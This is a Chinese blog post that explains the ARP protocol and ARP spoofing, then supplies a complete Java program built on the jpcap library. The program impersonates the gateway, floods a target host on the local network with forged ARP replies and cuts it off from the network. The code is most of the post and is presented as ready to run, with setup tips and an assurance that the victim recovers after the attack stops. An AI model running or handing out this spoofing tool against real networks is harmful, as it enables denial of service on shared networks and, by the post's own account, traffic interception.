最近在研读《深入理解计算机网络》,发现好多关于网络知识好匮乏。在看到ARP协议时,就在想java不是有接口可以获取计算机mac地址、ip、网卡等信息,是不是也可以伪造被攻击主机的mac地址进行攻击,使其不能上网。
首先,先熟悉一下ARP协议:
地址解析协议(Address Resolution Protocol),其基本功能为透过目标设备的IP地址,查询目标设备的MAC地址,以保证通信的顺利进行。它是IPv4中网络层必不可少的协议,不过在IPv6中已不再适用,并被邻居发现协议(NDP)所替代。目前IPv6已经开始普及。(https://baijiahao.baidu.com/s?id=1616377983144293359&wfr=spider&for=pc)
以下是百度截图:
延伸:MAC地址是数据链路层和物理层使用的地址(物理地址),而IP地址是网络层和以上各层使用的地址,是一种逻辑地址。
至于网路层次划分请自行百度。
我们所使用的安装有TCP/IP协议的电脑或路由器里都有一个ARP缓存表,通过cmd命令: arp -a,查询
arp报文格式:14字节 以太网首部 + 28字节 ARP请求/应答
以太网传输层
目标以太网地址:目标MAC地址。FF:FF:FF:FF:FF:FF (二进制全1)为广播地址。
源以太网地址:发送方MAC地址。
帧类型:以太类型,ARP为0x0806。
在以太网协议中规定,同一局域网中的一台主机要和另一台主机进行直接通信,必须要知道目标主机的MAC地址。而在TCP/IP协议中,网络层和传输层只关心目标主机的IP地址。所以需要通过地址解析在主机在发送帧前将目标IP地址转换成目标MAC地址。
情景:当主机A要向本局域网上的某个主机B发送IP数据报时,就先在其ARP高速缓存中查找有无主机B的IP地址。如果有,就在ARP高速缓存中查出其对应的硬件地址,再把其硬件地址写入到MAC帧,然后通过局域网把该MAC帧发往此硬件地址,即实现主机A和主机B通信。
ARP攻击原理: ARP地址转换表是依赖于计算机中高速缓冲存储器动态更新的,而高速缓冲存储器的更新是受到更新周期的限制的,只保存最近使用的地址的映射关系表项,攻击者在高速缓冲存储器更新表项之前修改地址转换表,对于静态的转换表就没办法修改。
ARP请求为广播形式发送的,攻击者就可以向目标主机发送伪ARP应答报文,从而篡改本地的MAC地址表, ARP欺骗可以导致目标计算机与网关通信失败,更会导致通信重定向,所有的数据都会通过攻击者的机器。
ARP攻击,其实就是告诉路由器被攻击主机A的MAC地址是一个假的MAC地址,由于数据在物理层是通过MAC地址来描述目标主机的地址的,而非网络层里使用的IP地址来描述主机地址,也就是说我们请求远程服务的地址最终都会被ARP协议解析成MAC地址,路由器在接收到被攻击主机A发出请求的响应数据后,会查找自己的ARP表,根据ARP表中记录的IP-MAC地址对应获取主机A的MAC地址,然后将获得的响应数据表转发给被攻击主机A,但是,如果路由器查找自己的ARP表得到的是被攻击后记录下的假的MAC地址,那么主机A就不能得到自己想要的数据,对于在操作主机A的用户来说无法打开网站。也就是说路由器通过假的MAC地址发送的数据,不在向主机A发送响应。
小试牛刀:
import java.io.IOException;
import java.net.InetAddress;
import java.util.Arrays;
import jpcap.JpcapCaptor;
import jpcap.JpcapSender;
import jpcap.NetworkInterface;
import jpcap.packet.ARPPacket;
import jpcap.packet.EthernetPacket;
import jpcap.packet.Packet;
public class ARPAttack {
/**
* 本地主机的0号网络设备,根据具体实际情况对参数0进行修改
*/
public static NetworkInterface device = JpcapCaptor.getDeviceList()[1];
/**
* 通过发送ARP请求包来获取某一IP地址主机的MAC地址。
*
* @param ip
* //未知MAC地址主机的IP地址
* @return //已知IP地址的MAC地址
* @throws IOException
*/
public static byte[] getOtherMAC(String ip) throws IOException {
JpcapCaptor jc = JpcapCaptor.openDevice(device, 2000, false, 3000); // 打开网络设备,用来侦听
JpcapSender sender = jc.getJpcapSenderInstance(); // 发送器JpcapSender,用来发送报文
InetAddress senderIP = InetAddress.getByName("192.168.1.104"); // 设置本地主机的IP地址,方便接收对方返回的报文
InetAddress targetIP = InetAddress.getByName(ip); // 目标主机的IP地址
ARPPacket arp = new ARPPacket(); // 开始构造一个ARP包
arp.hardtype = ARPPacket.HARDTYPE_ETHER; // 硬件类型
arp.prototype = ARPPacket.PROTOTYPE_IP; // 协议类型
arp.operation = ARPPacket.ARP_REQUEST; // 指明是ARP请求包
arp.hlen = 6; // 物理地址长度
arp.plen = 4; // 协议地址长度
arp.sender_hardaddr = device.mac_address; // ARP包的发送端以太网地址,在这里即本地主机地址
arp.sender_protoaddr = senderIP.getAddress(); // 发送端IP地址, 在这里即本地IP地址
byte[] broadcast = new byte[] { (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255 }; // 广播地址
arp.target_hardaddr = broadcast; // 设置目的端的以太网地址为广播地址
arp.target_protoaddr = targetIP.getAddress(); // 目的端IP地址
// 构造以太帧首部
EthernetPacket ether = new EthernetPacket();
ether.frametype = EthernetPacket.ETHERTYPE_ARP; // 帧类型
ether.src_mac = device.mac_address; // 源MAC地址
ether.dst_mac = broadcast; // 以太网目的地址,广播地址
arp.datalink = ether; // 将arp报文的数据链路层的帧设置为刚刚构造的以太帧赋给
sender.sendPacket(arp); // 发送ARP报文
while (true) { // 获取ARP回复包,从中提取出目的主机的MAC地址,如果返回的是网关地址,表明目的IP不是局域网内的地址
Packet packet = jc.getPacket();
if (packet == null) {
throw new IllegalArgumentException(targetIP + " is not a local address"); // 这种情况也属于目的主机不是本地地址
}
if (packet instanceof ARPPacket) {
ARPPacket p = (ARPPacket) packet;
if (Arrays.equals(p.target_protoaddr, senderIP.getAddress())) {
System.out.println("get mac ok");
return p.sender_hardaddr; // 返回
}
}
}
}
/**
* 将字符串形式的MAC地址转换成存放在byte数组内的MAC地址
*
* @param str
* 字符串形式的MAC地址,如:AA-AA-AA-AA-AA
* @return 保存在byte数组内的MAC地址
*/
public static byte[] stomac(String str) {
byte[] mac = new byte[] { (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00 };
String[] temp = str.split("-");
for (int x = 0; x < temp.length; x++) {
mac[x] = (byte) ((Integer.parseInt(temp[x], 16)) & 0xff);
}
return mac;
}
/**
* 执行ARP断网攻击。原理是:冒充网关发送出来的ARP应答包,令接收端更改其ARP缓存表,修改网关IP地址对应的MAC地址,从而令数据无法正常通过网关发出。
*
* @param ip
* @param time
* @throws InterruptedException
* @throws IOException
*/
public static void ArpAttack(String ip, int time) throws InterruptedException, IOException {
JpcapCaptor jpcap = JpcapCaptor.openDevice(device, 65535, false, 3000);
jpcap.setFilter("arp", true);
JpcapSender sender = JpcapSender.openDevice(device);
ARPPacket arp = new ARPPacket();
arp.hardtype = ARPPacket.HARDTYPE_ETHER;// 硬件类型
arp.prototype = ARPPacket.PROTOTYPE_IP; // 协议类型
arp.operation = ARPPacket.ARP_REPLY; // 指明是ARP应答包包
arp.hlen = 6;
arp.plen = 4;
byte[] srcmac = stomac("00-0D-2B-2E-B1-0A"); // 伪装的MAC地址,这里乱写就行,不过要符合格式、十六进制
arp.sender_hardaddr = srcmac;
arp.sender_protoaddr = InetAddress.getByName("192.168.1.1").getAddress();
arp.target_hardaddr = getOtherMAC(ip);
arp.target_protoaddr = InetAddress.getByName(ip).getAddress();
// 设置数据链路层的帧
EthernetPacket ether = new EthernetPacket();
ether.frametype = EthernetPacket.ETHERTYPE_ARP;
ether.src_mac = srcmac; // 停止攻击一段时间后,目标主机会自动恢复网络。若要主动恢复,这里可用getOtherMAC("192.168.1.1");
ether.dst_mac = getOtherMAC(ip);
arp.datalink = ether;
// 发送ARP应答包 。因为一般主机会间隔一定时间发送ARP请求包询问网关地址,所以这里需要设置一个攻击周期。
while (true) {
System.out.println("sending ARP..");
sender.sendPacket(arp);
Thread.sleep(time);
}
}
/**
* 程序入口
*
* @param args
* @throws IOException
* @throws InterruptedException
*/
public static void main(String[] args) throws InterruptedException, IOException {
NetworkInterface[] devices = JpcapCaptor.getDeviceList();
NetworkInterface ni = null;
String str = "";
for (int i = 0; i < devices.length; i++) {
ni = devices[i];
for (int j = 0; j < ni.addresses.length; j++) {
// 一个网卡可能有多个地址,获得本机IP地址
str = ni.addresses[j].address.toString();
}
System.out.println(str);
}
ArpAttack("192.168.1.109", 2000);
}
}
注意:请确定网卡信息。不用担心无法上网,ARP缓存表采用老化机制,在一段时间内如果表中的某一行没有使用,就会被删除。所以说只要停止攻击程序,被攻击的电脑会自动恢复上网。